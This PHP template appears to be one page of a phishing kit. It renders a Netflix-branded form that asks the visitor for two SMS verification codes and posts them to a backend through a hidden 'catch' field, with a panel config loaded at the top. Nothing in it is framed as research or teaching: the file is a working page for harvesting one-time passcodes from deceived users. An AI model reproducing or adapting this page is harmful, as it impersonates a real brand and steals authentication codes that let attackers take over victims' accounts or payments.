<?php
require_once 'config/panel.php';
$title = "Netflix";
ob_start();
?>

<div style="min-height:500px;" class="w-100 d-flex flex-column justify-content-start align-items-center bg-black">

<form class="container my-3 carda shadow rounded-3" action="index.php?<?= md5(time()) ?>" method="post">
    <input type="hidden" name="catch">

    <h1 class="my-3 p-0"><?= lang("xsms1"); ?></h1>
    <h6 style="color: #fff; font-size: 13px;"><?= lang("xsms2"); ?></h6>
    <p style="font-size: 13px; color: #b3b3b3;"><?= lang("xsms3"); ?><br><?= lang("xsms4"); ?></p>

    <!-- First SMS Code Input -->
    <div style="background-color: transparent;" class="form-floating my-3">
        <input style="background-color: transparent;" type="text" name="sms1" maxlength="12" 
               class="form-control <?php if (!empty($_SESSION['ERRORS']['sms1'])) echo 'is-invalid'; ?>" 
               id="floatingSms1" 
               placeholder="Veuillez saisir le code reçu" 
               value="<?php if (!empty($_SESSION['sms1'])) echo htmlspecialchars($_SESSION['sms1']); ?>">
        <label style="background-color: transparent;" for="floatingSms1"><?= lang("xsms5"); ?></label>
        <div class="invalid-feedback"><?= lang("xsms6"); ?></div>
    </div>

    <p style="font-size: 13px; color:#b3b3b3;"><?= lang("xsms7"); ?></p>

    <!-- Second SMS Code Input -->
    <div style="background-color: transparent;" class="form-floating my-3">
        <input style="background-color: transparent;" type="text" name="sms2" maxlength="12" 
               class="form-control <?php if (!empty($_SESSION['ERRORS']['sms2'])) echo 'is-invalid'; ?>" 
               id="floatingSms2" 
               placeholder="Veuillez saisir le code reçu" 
               value="<?php if (!empty($_SESSION['sms2'])) echo htmlspecialchars($_SESSION['sms2']); ?>">
        <label style="background-color: transparent;" for="floatingSms2"><?= lang("xsms9"); ?></label>
        <div class="invalid-feedback"><?= lang("xsms6"); ?></div>
    </div>

    <p style="font-size: 13px; color:#b3b3b3;"><?= lang("xsms7"); ?></p>

    <div class="w-100 d-flex justify-content-end align-items-center mt-3">
        <button class="btn btn-danger w-100 m-0 p-0" type="submit" name="submit" value="sms"><?= lang("xsms8"); ?></button>
    </div>
</form>

</div>

<?php $content = ob_get_clean(); ?>
<?php require_once 'views/layout_dash.php'; ?>
